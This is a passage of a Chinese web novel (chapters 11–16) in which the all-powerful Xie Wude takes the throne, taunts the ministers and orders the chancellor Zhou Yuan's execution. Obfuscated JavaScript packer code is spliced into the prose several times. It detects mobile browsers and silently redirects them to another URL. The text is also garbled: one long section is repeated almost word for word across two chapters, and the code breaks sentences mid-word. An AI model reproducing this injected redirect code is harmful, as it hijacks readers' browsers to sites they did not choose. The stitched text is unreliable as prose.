他还真的觉得皇帝是一朵白莲花,他那些忠直之言没有被听到是因为皇帝被他们这些奸臣蒙蔽了吗? 呸。 姚证在朝中干了这么多年,早就看透了这群家伙。 太上皇虽然勉强也算是南荣的开国皇帝,但是看看他的威信,比得上哪个开国皇帝? 还不如让四皇子上了。 看他这战斗力,搞不好真的能把萧人打回去。 姚证也捞够了,他盘算着自己要不要顺便找个机会告老还乡,一旦这么想了,朝堂的纷争和利益和他关系就不大了,他考虑的就只有作为一个荣国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479456|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人最基本的想法。 北荣的事情还历历在目。 除非是那种跌破想象极致的人渣父亲,不然哪个父亲都不想看到自己的女儿被人带走作为抵债的资金。 那不仅是侮辱他的女儿,还是在侮辱他自己。 反正姚证已经打算辞官了,他也不打算管朝中的利益纠葛了。 . 那个老臣的话还没有说完:“从来没有听过不遵守法度就能坐稳江山的人。如果不遵守法度的话,那天下的人如何尊敬您呢?如今这世上的规则就是君君臣臣、父父子子。如果连殿下都不能够遵守这条规则,那待殿下坐上这皇位之后岂能长久?殿下当为后世子孙计。” 谢吾德找了边上的一叠纸给自己垫胳膊肘。 老臣又磕了一个头,他这话说的已经很诚恳了。 但是其他人都不看好老臣的这一番劝说。 为后世子孙计,那首先得要有能为后世子孙计的东西。 如果可以得到皇位,其实有很多人愿意把后世子孙祭了——之后可以再生。 这个世界有太多的人会这么想了。 不管怎么说,总得先让他把皇位拿到手吧,其他的都是拿到皇位之后才要考虑的事情。 老臣的痛陈利弊是为了让谢吾德明白事情的严重性——很多事情不是他想怎么做就可以怎么做。 余文彦在一旁听得眼角抽搐。 现在在余文彦看来,谢吾德算不算是个人都不好说,他总感觉他像是个什么魔头。 什么子孙祸福,那都根本不重要。 他甚至怀疑谢吾德是真的可以做到祸害一千年。 就谢吾德展现出来的实力来看,谢吾德活个千年都不令人意外。 无论如何,大家都等待着谢吾德的反应。 谢吾德叠了个纸飞机,开口说道:“只要我没有子孙,那我不就不用为子孙计了。” 谢吾德的笑容看上去相当之爽朗,他顺手把纸飞机甩了出去:“儿孙自有儿孙福,没有儿孙我享福。” 纸飞机擦着老臣的脑壳飞了过去。 老臣能够感觉到从自己头顶上飞过的气流。 那细微的气流好像吹起了飓风,把他的心吹得凉凉的。 谢吾德贴脸开大:“不劳你费心哦~” 11.第 11 章 皇帝的权力在封建社会是至高无上的,但是却并不是无边无际的。 作为皇帝,他其实也要为臣子以及天下的人做示范。 这种示范其实也是皇帝的约束,是向其他人的妥协,是表明自己要遵守社会规则。 孝道就是最重要的示范。 这个世界的儒家并没有那么强大的力量,但是无论哪个学派,孝道都是相当重要的一环。 毕竟这是华夏这个农业文明的底色。 需要尊老,因为老人掌握着更多的经验,能够解决更多的问题。 但是谢吾德直说自己不打算要孩子,那就是直接把这层约束给撕掉了。 他在无视数千年来的规矩。 老臣被谢吾德的发言给震惊到了。 虽然说不孝有三无后为大,不能把这个“后”单纯地理解为后代,但是没有后代也完全可以适用这句话的。 更何况哪有统治阶级宣布自己不要后代的? 他们手中的一切终究是要通过血缘传下去的,不然要这么多财富有什么用? 就是要给自己的儿孙留钱啊。 老臣的大脑已经过载了。 他对谢吾德说的一切都无言以对。 如果谢吾德知道余文彦的想法的话,他一定会用书拍拍余文彦的肩膀。 看人真准。 谢吾德能活到宇宙死亡。 但是从基因类型来看,他是完完全全的普通人。 他就是有孩子,那在没有任何科技改造的前提下也只能活上个一百年。 谢吾德有时候睡一觉都不止一百年了。 孩子有什么用? 打个盹的工夫,他认识的人就死光了,他只能考虑把对方烧成钻石还是炸成烟花。 老臣原本觉得谢吾德做的事情已经很离经叛道了,但是他没想到,谢吾德还能更加离经叛道一点。 那他做这个皇帝干什么? 他怎么不出家当和尚? 朝中其他人也开始窃窃私语起来。 他们都不可置信地看着谢吾德。 就连原本还算沉着冷静的姚证都忍不住惊诧地看向了谢吾德:什么样的人才能够说出这样的话呢? 谢吾德看着所有人都乱了阵脚,忍不住露出了一个笑容。 他想看的就是这个。 “好了,我觉得你们似乎也没有别的什么问题了,以后我就是你们的皇帝了,今天就退朝了。”谢吾德对于这群人说道。他把所有人喊过来,真的就只是通知一声。 老臣又抬起头看向了谢吾德。 不是,没有祭祀天地,连一块豆腐都没有奉上,这就要当皇帝了? 谢吾德值得被吐槽的地方实在是太多了,老臣真的不知道该从哪里开始,甚至他撞柱都不知道用什么理由了。 “如果还有谁有什么意见的话,你们可以派兵来攻打皇宫,也可以找人来刺杀我。”谢吾德站直身体,居高临下地看着其他的所有人。 在场的人有一个算一个,都露出了仿佛鼻子被人狠狠地打了一拳的表情。 你这个疯子! 虽然他们真的有这个想法,但是这话是能直接说的吗? . 谢吾德给他们开了个大眼,就直接走了。 他打算看看有没有什么人准备跳出来。 谢吾德知道他们肯定会有人要搞小动作的。 宫变中围观的人还是太少了,消息还没有散开,而且太过于魔幻了,恐怕没有多少人会相信。 他们大概更愿意相信那群人是被谢吾德收买了。 这个时代绝大多数人还是相信天命、天子的那一套的,唯物主义还是太过于先进了,但是他们信仰和他们的道德息息相关。 大概没人愿意相信谢吾德这种货色会蒙受天地的厚爱。 ……其实的确也没有。 这个世界就是谢吾德“自己”制造的,如果天地真的有意识,那也应该是这个世界蒙受谢吾德的厚爱。 反过来是不可能的,倒反天罡。 不过当皇帝要祭祀天地……这谢吾德倒是不反对。 谢吾德没太多仪式感,就连过生日都没仪式了。每隔三百六十五天就要过一次生日,真的很烦。他从每年过生日到每十年过生日,最近已经每一百年过一次生日了。 主要是这些体验太多了。 但是当皇帝是第一次诶。 这真的很新鲜。 谢吾德相当皇帝不就是讲究一个体验感吗? 这就是体验的一环。 现代文旅项目的人都愿意去当一下囚犯去游街玩呢。 这种项目怎么都要体验一番。 不过谢吾德犹豫的是这种祭祀又臭又长,他没那个耐心。 他的脾气真的很急,他真急起来恨不得别人跟他说话只用关键词,顺便开启字幕和三倍速。 其他自己没他这么急,主要是谢吾德是那个被奉为神明的存在,他的脾气早就被惯坏了,一直维持在他这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483971|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人脾气最差劲的阶段。 祭祀就是慢悠悠的,这样才显得正式。 这样谢吾德真的很没信心自己能体验完。 这种事情精华应该都在最后。 他还没想好该怎么弄。 所以先这么搞了。 谢吾德从袖子里掏出瓶矿泉水,仰头闷了。 余文彦眼皮一抽。 这还是谢吾德的风格。 他不知道该先问谢吾德从哪里掏出来的水,还是该问这瓶子是什么材质的,还是该先说“陛下举止不合礼数”。 因为值得吐槽的地方实在是太多了,反而让人不知道该先点评哪件事。 余文彦最后选择“还是”:“殿……陛下是否把三……燕王放出来,以示陛下的宽仁呢?” 三皇子便是燕王了。 余文彦觉得自己现在基本上也算是谢吾德半个谋士了。 这并非余文彦本人的想法,但现在朝中的人恐怕都已经把他看作成谢吾德的走狗了。 这可不是因为他否认就会被人接受的事情,谢吾德也不会好心替他解释。 既然已经和谢吾德紧紧地绑在了一起,他就干脆尽心为其出谋划策。 “那你找个机会把他放出来。”谢吾德直接说道。 留在牢里还得吃他的。 谢吾德不差这点钱,金钱对于他来说真的就是纯粹的数字,但是他在小的地方特别容易抠门。 余文彦不知道谢吾德的脑回路,他只是觉得关于这件事情,自己需要解释许多。 比如说他是不是因为别的人说了什么,或者是出于拉拢三皇子的目的而向他提出这个建议。 谢吾德同意得这么干脆,余文彦多少也有点感动,真诚是永远的必杀技。 谢吾德对他远远算不上是善待,但余文彦和他也不熟,这份信任就弥足珍贵了。 还没等余文彦感动完,谢吾德忽然想起刚刚余文彦的用词:“不对,仁德?那还是别把他放出去了,就把他关到死了吧。” 余文彦:“……”好吧,他刚刚想多了。 即使他没猜到谢吾德刚刚的脑回路,但是他总觉得谢吾德答应的理由可能和信任他没有半毛钱的关系。 也许谢吾德这个人就是喜欢刻意和别人对着干。 别人让他干什么他就非不干什么,非要把事情搞得一团糟。 他的血压忍不住有点升高,但想了想又小声说道:“陛下要是他就那么在狱中死了,您会少多少乐趣?” 12.第 12 章 谢吾德睁大了眼睛看向了余文彦。 这人上道太快了吧? 对于这个时代的人可不容易。 谢吾德不在意三皇子的死活,但他很在意自己能不能得到足够的乐趣。 谢吾德琢磨起怎么折磨三皇子。 之前其实也没想过要折磨三皇子,但这事就像仓鼠囤粮一样,囤的东西足够多就是一种安全感。 手里有可以被他折磨的人,对他来说也算是一件很有趣的事情。 他可以不要,但是不能没有。 “倒也对。”谢吾德对余文彦说道。 既然这个人跟上了他的脑回路,就要不吝于去夸奖他。 余文彦感觉自己渐渐地摸清了谢吾德的思考方式。 他口风改的那么快,就算是傻子都能看出有问题,但是谢吾德接受了。 也就是说,他不一定非要和人对着干,问题的核心其实是别人能不能顺着他的意思来。 他不在乎别人真实想法如何,只要按照他的规矩和脑回路来就行。 余文彦脑子里闪过四个字——奸臣狂喜。 这个生死劫可不止余文彦一个聪明人。 还没等余文彦再多想,有太监迈着小碎步,一路小跑过来了:“陛下,右丞相想要向您献上南海的红珊瑚作为贺礼。” 余文彦皱眉。 右丞相的名声基本上烂完了。 这个人很纯粹。 纯粹地擅长迎合上意,纯粹地为了权力什么都能做出来。 完全就是粗通人性。 他表面圆滑,擅长甜言蜜语,和谢吾德的做事风格截然不同。 年轻的时候因为英俊还被世人赞颂,很多人赞颂他的才华,但是等到他登上高位,他就彻底不装了。 余文彦觉得如果自己要是和周元竞争拍马屁的话,自己绝对竞争不过周元。 “不要,让他滚。”谢吾德一摆手。 周元的名字他也有所耳闻。 直接和邱腾邱将军接触的时候就听到有人不停地骂他。 周元其人是一个脱离了高级趣味的人,是一个卑鄙的人。 啧,这种家伙向他投诚,谢吾德都觉得晦气。 不要以为他真的一点道德观都没有了,他还是有自己的行为逻辑的。 就算给他当狗,那也得是条好狗。 周元这种狗收着都要提防着他冷不丁咬他一口。 晦气死了。 【哈哈哈哈哈哈哈哈哈哈哈!】谢吾德听到脑子里自己又在笑,【所以为什么人要表现得有道德,还不是因为一旦你看上去人品不行,什么臭的都要过来了。】 【你这完全没有获得道德上的话语权,而且还把自己从道德高地上挪开,那就要做好愿意遵守普世规则的人都会远离你。】 他们自己的说话声音完全一样,正常说话的语气都是平淡的没有起伏的,但是态度还是有区别的。 谢吾德觉得会这么说的是他的本体亚夏,他太遵守各种道德约束了,死亡之神温特是不会这么直接的,他会稍微委婉又或者指桑骂槐。 谢吾德冷笑一声:【我这就把他片了。】 谢吾德一仰头:“去,把周元抓住,凌迟了。” 太监愣了一下。 他去打周元,真的假的? “让你去你就去,你现在被加强了,快上。”谢吾德单手叉腰。 太监得了谢吾德的吩咐,立刻恭敬地离开。 他们这些现在效忠谢吾德的太监最忠诚了,他们基本上是亲眼看到了谢吾德怎么胖揍太上皇的。 他们没有太过复杂的想法,但是能殴打皇帝的人一定能是更强大的人。 而且他们了解皇帝,但是没人了解谢吾德。 越是了解一个人,对方身上的神圣光环就越淡。 打嗝放屁上厕所,这种事情本身就在解构权威。 但是谢吾德离所有人都很远,他天然有一层神秘的光环,还真没人见过他上厕所。 这样的人说话一定有着自己的道理的。 谢吾德也没说谎,他刚刚给这个太监上了一个刀枪不入的挂,顺便让AI监视着情况,周元真敢反抗,那谢吾德就亲自去一趟。 余文彦觉得自己刚刚可能想多了。 奸臣能够被皇帝看中,很大程度上是也是因为皇帝想要通过他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16498302|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获得点什么。 但是他看谢吾德的样子,他好像对世俗的财富完全看不上眼。 眼里没有一点世俗的渴望,有的只有单纯地想要折腾人的兴奋。 ……这他大爷的算好事还是坏事? 余文彦本来想说“刑不上大夫”,但是觉得自己说了之前只是凌迟,之后就变成了把周元做成包子喂给他爹吃。 这脑洞,谢吾德听了都要吐槽一句这里不是《水浒传》,没有人肉包子,他也不是商纣王的,把周元比作伯邑考历代周王听了都要轮流扇余文彦耳光。 余文彦被自己的脑洞吓到了,明智地保持了自己的沉默。 他现在在谢吾德面前什么都不算,说了也没用。 “还有一件事情,我觉得陛下您应该提前做好准备。”余文彦选择说朝中的事情,“陛下虽然已经让朝中的人接受您是皇帝这个事实,但是很多人只是表面上臣服,背地里会小动作不断。他们虽然无法反抗陛下您的统治,但是您也需要小心他们阳奉阴违。那些世家势力强大,他们也很难听从您的指挥,他们有可能会做出什么小动作,或者干脆是称病不出。望陛下对这些事情都早做准备。” 这群人的手段和“光明磊落”扯不上半分关系,但却相当实用。 这种事情本来就在谢吾德意料之中。 他们不配合是意料之中,配合就是有别的算盘。 老老实实本就不可能存在。 谢吾德没把那群家伙看作是自己的臣子。 那完全是一群敌人。 朋友支持让人感到温暖,敌人的支持只让人脊背发凉。 “非暴力不合作吗?”谢吾德还是说,主要余文彦的提醒实在是太有即视感了,“整得像是印度人一样。” 余文彦看了看谢吾德。 印度?是指身毒吗?而且什么叫做非暴力不合作?这和身毒有什么关系?难道是佛教的什么概念吗? 余文彦脑子里想了很多,但又觉得自己想太多完全没有用。 谢吾德说的疯话太多了,如果他一一想过去的话,那纯属是给自己的大脑增加负担。 “所以陛下打算如何处置他们呢?” 13.第 13 章 余文彦并不觉得自己做错了什么。 他之前不抛弃二皇子一大部分是因为二皇子的确给了他不错的待遇,知遇之恩加上金钱和地位,这都让余文彦愿意为二皇子效忠。 其实除此之外,还有一个更加现实的原因:二皇子已经是他能够找到的最好的船了,而且如果想要背叛二皇子,他的价值会比之前还要低。 没有人会喜欢背叛的人,也没有人会相信一开始并不站在自己一方的人。 但是谢吾德不一样。 他真的不在意余文彦的身份。 余文彦只是在某个时间某个地点引起了他的兴趣,让谢吾德多关注了他一下,剩下的他都完全不关注。 这是余文彦这人生中最好的机会了。 “皇帝”给予了他这样大的权力。 他暂时还没有身份,不过这都不重要,余文彦可以先做给谢吾德看看。 周元指定是没了,但是谢吾德未必会把丞相的位置给他。 骑驴找马,现在就把这个位置给了余文彦,那他之后看到了更适合这个位置的人该怎么办? 余文彦的想法实行起来并不简单,他还没走出皇宫就被人骂了。 是二皇子的人。 二皇子的人站出来怒斥余文彦的不忠。 余文彦看着对方,他的眼神传达出了一个意思:那之前在朝堂上,你怎么没拦住他? 现在说他忠不忠。 站出来的正是兵部侍郎,王旭。 兵部侍郎读懂了余文彦的眼神,但是纯当自己没读懂:“余文彦,昨日秦王殿下还称你一句余先生,对你以礼相待,无不许诺,今日殿下尸骨未寒,你就转投他人,你可对得起他,对得起你的良心吗?” 王旭才不和余文彦提什么自己之前为什么没为二皇子尽忠,他质疑余文彦的忠诚就行。 “殿下还没有听到他刚出生没多久的孩子亲口喊一句‘爹爹’,他就这么走了。”王旭深吸了一口气,酝酿了一下自己的情绪,眼眶红了,“二殿下是我的妹夫,我也怜惜我那早早守寡的妹妹,夫君就此英年早逝,还不知道他之后如何去做。” “我知道殿下薨了,他手下的人肯定会去另谋生路,这是人之常情。我怜悯我的妹妹,其他人又何尝不怜悯自己的妻儿老小,他们不能随殿下而去,那自然要找个营生。”王旭抬起袖子,用袖子挡住了自己半张脸。 他现在最恨的不是谢吾德。 虽然是谢吾德杀了二皇子,但是王旭也是目睹了当时场景的人之一,他知道谢吾德是如何势不可挡。 他的力量根本不是常人可以抵抗的。 更别提谢吾德是一个疯子,真的会有人想要和一个疯子较劲吗? 无论输赢,都好像拉低自己的格调。 那些没有见过现场的人会认为他是在配合谢吾德演戏,又或是觉得他们群体发了癔症在那里发疯,最好的也是对他们说的话半信半疑。 他们不愿相信最重要的原因还是觉得凭什么是谢吾德呢? 这种强大的能力不应该是费尽千辛万苦才能够求来的吗?就算不是求,那也该是那种让人众口交赞的人才能够得到的。 谢吾德的能力和品行哪一样达标了? 苍天不公!老天无眼! 王旭多么希望自己是疯了,死了的不是二皇子而是他,自己看到的并不是真实的,最后是二皇子获胜了。 就算自己疯了之后,家里其他人会拿走他的功劳,但是也好过他现在功亏一篑。 而且他很难再投靠谢吾德了。 谢吾德和他可没有什么关系,他也不能像余文彦那样轻轻松松地就投了谢吾德。 任何一个人都可以投向谢吾德,但是王旭不可以。 他总要展示一下自己作为世家弟子的风骨,表现一下自己的坚贞不屈。 所以他就恨上了余文彦。 余文彦这个家伙怎么可以投得这么轻松? 明明他也算是二皇子手下最重用的幕僚! 作为世家子弟,他觉得这事根本就不公平。 余文彦 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在中国讨论刺王杀驾的事情实在是太突破所有人想象力的极限了。 他看上去有点呆愣愣的,余文彦就这么静静地注视他。 他看着余文彦的脸,第一次知道疯病居然还是能传染的,这话不像是余文彦说的,更像是谢吾德说的。 因为余文彦之前考虑过自己要不要当“荆轲”,所以还真的思考过如何刺杀谢吾德的事情。 在他和谢吾德说了几句话之后,他逐渐摸清了谢吾德的脑回路,所以他对王旭说道:“如果你跟陛下提你想要刺杀他的话,他一定会给你这个机会的。只要你敢跟他说,他就敢这么做,而且事后大概不会追究你的责任。” “只要你敢这么做,朝堂上衮衮诸公必然会赞颂你对二殿下的忠诚,王侍郎也必然会青史留名,和琅琊王氏一起流芳千古。” 余文彦掌心向上,指向了皇宫的方向:“请。” 14.第 14 章 余文彦并不觉得自己做错了什么。 他之前不抛弃二皇子一大部分是因为二皇子的确给了他不错的待遇,知遇之恩加上金钱和地位,这都让余文彦愿意为二皇子效忠。 其实除此之外,还有一个更加现实的原因:二皇子已经是他能够找到的最好的船了,而且如果想要背叛二皇子,他的价值会比之前还要低。 没有人会喜欢背叛的人,也没有人会相信一开始并不站在自己一方的人。 但是谢吾德不一样。 他真的不在意余文彦的身份。 余文彦只是在某个时间某个地点引起了他的兴趣,让谢吾德多关注了他一下,剩下的他都完全不关注。 这是余文彦这人生中最好的机会了。 “皇帝”给予了他这样大的权力。 他暂时还没有身份,不过这都不重要,余文彦可以先做给谢吾德看看。 周元指定是没了,但是谢吾德未必会把丞相的位置给他。 骑驴找马,现在就把这个位置给了余文彦,那他之后看到了更适合这个位置的人该怎么办? 余文彦的想法实行起来并不简单,他还没走出皇宫就被人骂了。 是二皇子的人。 二皇子的人站出来怒斥余文彦的不忠。 余文彦看着对方,他的眼神传达出了一个意思:那之前在朝堂上,你怎么没拦住他? 现在说他忠不忠。 站出来的正是兵部侍郎,王旭。 兵部侍郎读懂了余文彦的眼神,但是纯当自己没读懂:“余文彦,昨日秦王殿下还称你一句余先生,对你以礼相待,无不许诺,今日殿下尸骨未寒,你就转投他人,你可对得起他,对得起你的良心吗?” 王旭才不和余文彦提什么自己之前为什么没为二皇子尽忠,他质疑余文彦的忠诚就行。 “殿下还没有听到他刚出生没多久的孩子亲口喊一句‘爹爹’,他就这么走了。”王旭深吸了一口气,酝酿了一下自己的情绪,眼眶红了,“二殿下是我的妹夫,我也怜惜我那早早守寡的妹妹,夫君就此英年早逝,还不知道他之后如何去做。” “我知道殿下薨了,他手下的人肯定会去另谋生路,这是人之常情。我怜悯我的妹妹,其他人又何尝不怜悯自己的妻儿老小,他们不能随殿下而去,那自然要找个营生。”王旭抬起袖子,用袖子挡住了自己半张脸。 他现在最恨的不是谢吾德。 虽然是谢吾德杀了二皇子,但是王旭也是目睹了当时场景的人之一,他知道谢吾德是如何势不可挡。 他的力量根本不是常人可以抵抗的。 更别提谢吾德是一个疯子,真的会有人想要和一个疯子较劲吗? 无论输赢,都好像拉低自己的格调。 那些没有见过现场的人会认为他是在配合谢吾德演戏,又或是觉得他们群体发了癔症在那里发疯,最好的也是对他们说的话半信半疑。 他们不愿相信最重要的原因还是觉得凭什么是谢吾德呢? 这种强大的能力不应该是费尽千辛万苦才能够求来的吗?就算不是求,那也该是那种让人众口交赞的人才能够得到的。 谢吾德的能力和品行哪一样达标了? 苍天不公!老天无眼! 王旭多么希望自己是疯了,死了的不是二皇子而是他,自己看到的并不是真实的,最后是二皇子获胜了。 就算自己疯了之后,家里其他人会拿走他的功劳,但是也好过他现在功亏一篑。 而且他很难再投靠谢吾德了。 谢吾德和他可没有什么关系,他也不能像余文彦那样轻轻松松地就投了谢吾德。 任何一个人都可以投向谢吾德,但是王旭不可以。 他总要展示一下自己作为世家弟子的风骨,表现一下自己的坚贞不屈。 所以他就恨上了余文彦。 余文彦这个家伙怎么可以投得这么轻松? 明明他也算是二皇子手下最重用的幕僚! 作为世家子弟,他觉得这事根本就不公平。 余文彦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在他和谢吾德说了几句话之后,他逐渐摸清了谢吾德的脑回路,所以他对王旭说道:“如果你跟陛下提你想要刺杀他的话,他一定会给你这个机会的。只要你敢跟他说,他就敢这么做,而且事后大概不会追究你的责任。” “只要你敢这么做,朝堂上衮衮诸公必然会赞颂你对二殿下的忠诚,王侍郎也必然会青史留名,和琅琊王氏一起流芳千古。” 余文彦掌心向上,指向了皇宫的方向:“请。” 15.第 15 章 余文彦的表情很严肃,并没有多少戏谑的样子,看上去也不像是在故意刁难王旭,他像是过去在二皇子手下一样,给自己的前同僚给出种种建议。 余文彦的长相并不突出,甚至算得上是平凡, 这是余文彦认真思考后的给出的方案。 如果谢吾德在这里,他肯定要为余文彦吹一个口哨,赞同他的说法。 是的,就是这样。 谢吾德根本就不在意其他人对他是不是忠诚的。 忠诚可以,他喜欢对他忠诚的狗。 不忠诚也可以,他喜欢看别人憋屈地为他服务的表情。 都行,都可以。 谢吾德非常欣赏有勇气对上他的人。 这种人也是在给他的生活增加乐趣,是宝贵的。 只要王旭敢和谢吾德说刺杀,谢吾德绝对会张开手臂欢迎他来刺杀。 余文彦不知道谢吾德有什么底牌,但是他干什么说,大概率就意味着谢吾德没办法轻易地被杀死。 也不排除谢吾德大概是个纯粹的疯子,疯子会这么想实在是太正常了。 余文彦往王旭面前走了好几步。 之前王旭离他有点远,他是提高音量在质问余文彦。 在这空旷的场地中,之前王旭的声音吸引了许多人的注意。 谢吾德强行自称皇帝,又强行宣布散朝,不是所有人都会立刻离开,他们很多人还在这附近徘徊游荡,寻找着自己的同伴,他们也不知道接下来该怎么做,就打算在这里和同僚商议着接下来的应对策略,顺便想要和宫中的人打探一下具体的消息。 至少陛下——也许现在该称太上皇了——他还活着吗? 大家都知道谢吾德非常不孝,搞不好他真的就死了。 不管是出于君臣情谊、对皇帝的关心还是想要搞事,这都是个很重要的事情。 但是这话他们也不好直接跟谢吾德直接问,谢吾德直来直去的,说话直的从他们的左耳捅到右耳,可是他们还是需要委婉一些的。 问他“你亲爹还活着吗”这种话很礼貌吗? ……也许谢吾德不在意,但是他们说不出口。 因为本身的人就很多,所以王旭的一声质问成功地把他们所有人的注意力都转移了过来。 他们知道肯定是王旭想要落余文彦的面子,但是他们也很想听听余文彦怎么回答。 余文彦给出了一个精神不太正常的回答,但是他的话听上去有理有据,而且真的很像是谢吾德会做出来的事情,他往前走了几步,居然把王旭的气场给压下去了。 他也不担心王旭会暴起杀了他。 只要王旭干出手,谢吾德肯定会给他好看的。 打狗还要看主人。 王旭之前说话声音很高,吸引了所有人的注意,所以在他反过来被余文彦逼问的时候,他也难以逃脱。 他作为琅琊王氏的人总不能转头就跑吧?他僵硬地站在原地盯着余文彦看。 余文彦说道:“王侍郎怎么用这种眼神看我,你难道不相信陛下会这么做吗?陛下的勇气千年甚至万年都难得一见,区区刺杀根本不会被他放在眼里。你现在就去刺杀他,还会夸你一句为二皇子尽忠,说不定会就此给予二皇子一个不错的身后待遇。二皇子妃和二皇子的孩子也不用担心日后的生活。这是他们皇叔作为一个皇帝会亲口许诺的。你敢去吗?你敢去刺杀吗?” 余文彦这咄咄逼人的气势真的让王旭不知道该说什么,他本来用袖子挡住自己半张脸,现在他这半张脸看着余文彦,眼睛里像是淬了毒一样。 他的嘴唇抿成一条直线。 余文彦敢说,他敢做吗? 王旭对二皇子忠诚吗? 的确是忠诚的,他在有必要的时候会为二皇子效死。 他和二皇子有太多的利益绑定,二皇子的成功从某种程度上来说就是他的成功。 他甚至可以为了二皇子抛弃自己的性命——在非常有必要的情况下。 但是问题是现在二皇子死了,那还值得他这么去做吗? 人都是想要活着的。 王旭之前也想过自己要不要拔剑了断自己的生命,但是在他的手摸到那冰凉的剑刃之后,他就怂了,剑太凉了,这把剑割断自己喉咙之后他该有多冷? 所以没能够成功的自尽。 王旭沉默半晌,最后只是说了一句:“我怎敢对陛下不敬呢?陛下是真龙天子。琅琊王氏乃陛下并不在意体统,但是我也总是要在意的。我们作为朝臣,总要为天下的人做表率。” 余文彦轻笑一声,他只是说:“你也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这群人大多都是朝堂上比较圆滑、喜欢逢迎的人,他们大多都是周元的党羽,他们也知道周元似乎被皇帝针对了,他们并不打算和周元死在一条船上。 周元是什么人啊,值得他们去卖命。 他们因利益聚拢,也因为利益而散。 他们不是资本家,毕竟资本家比他们先进许多。 这群人和周元的利益捆绑并不深,算是边缘人物,真的和周元有很深利益捆绑的人哪还有心思和余文彦拉关系,周元一开口是真的会把他们扯下水的。 余文彦对他们也看不上眼,但是现在,这群人还能用。 他们就算在这次的事情中动了手脚,只要他看着,和谢吾德一说,他们绝对不能活下来。 16.第 16 章 在城外的一个庄子上,一个男人正匆匆收拾着自己的东西往外跑去那个人擦了一把冷汗,忍不住低头嘀嘀咕咕:“真的能够成吗?真的能成吗?” 他是一个来自后世的穿越者,名叫胡增鑫。 他不知道自已是怎么穿越的,但自从知道自已穿越到的是南荣之后,就立刻兴奋了起来。 这可是南荣,历史上最神秘的一个朝代,在荣武宗所统治的地方处处都透着神秘。 荣武宗是世界历史最著名的一个皇帝,也是世界上最著名的一个人,从东到西,甚至是孤悬海外的大陆都被他暴打过。 但是这明明是一个在世界各地都留下来了自己传说的人,但是关于他的事情却依然充满了迷雾。 史书上有很多人声称荣武宗有着相当强大的力量,他可以操控天地为他效力。 其他的天子只是天子,荣武宗本人就好像是天一样。 对于唯物主义者来说,史书中的描述实在是不靠谱。 也不怪他们不相信史书中的记载,因为荣武宗的存在以及世界各地的目击记录,自从科学开始发展,记录交流的手段逐渐增多之后,他们还对超自然的力量进行大规模的研究,还高薪聘请有超自然力量的人。 有不少人来了,当时科学家欣喜若狂,想要好好研究,结果却发现这批人不是骗子、魔术师,就是真的相信自己有超自然力量的普通人。 根本就没有超自然力量。 这场世纪大打假直接让所有人都否定了史书上的记载。 这世界上哪有什么奇特的力量,只不过是一群还没有开启民智的人以讹传讹罢了。 荣武宗的力量应当是他掌握了一些先进的知识,并且对一切早有准备。 反正不可能是超自然力量。 他们不是真的想要完全否定这种可能,毕竟科学是一种建立在经验之上的东西,如果有人愿意为他们提供超自然的力量进行研究,科学家不会愤怒于物理的大厦倒塌了,他们只会直接一口亲在这个人的脸上。 这是论文、名誉和研究资金! 是全新的领域,是等待开发的蓝海! 但是没有。 骗子抓了一大堆,从东方到西方,《走进科学》拍了各个版本,除了那些狂信徒之外,这群人的唯物主义思想硬的简直像是钢板。 因为无人可以证明法术真的存在,所以《荣史》和其他记载中关于荣武宗的记录就变成了群体癔症或者艺术性描写的东西了。 《荣史》根本不像是正经严谨的史书,在后世还弄出了一个《魔法荣书目录》的绰号。 虽然史书中会出现某某皇帝在出生的时候天有异象,或者是帝王将相的母亲梦到一些龙之类的东西钻进了肚子里,但是没有人像荣武宗一样那么夸张。 玄幻一点来说,帝王将相大概都是天上的星宿,下凡一方面是拯救世人,一方面也是接受磨难,不可能把自己在天上的能力带下来,但是仅仅凭借着这些就已经能胜过凡人许多。 现实一点来说,就是别把牛皮吹破天了,到之后别圆不回去了。 这让后世的很多学者都认为这是荣武宗把刀架在史官脖子上写的,荣武宗也不是正常死亡的君主,他是在让太子监国之后就消失了,五年之后朝臣才终于确定他们这个一辈子都没靠谱的过的皇帝大概是真的不会回来了。 ……至少这个皇帝游戏对他来说没意思了。 所以他们如实记录了史书,也定了谥号。 武宗。 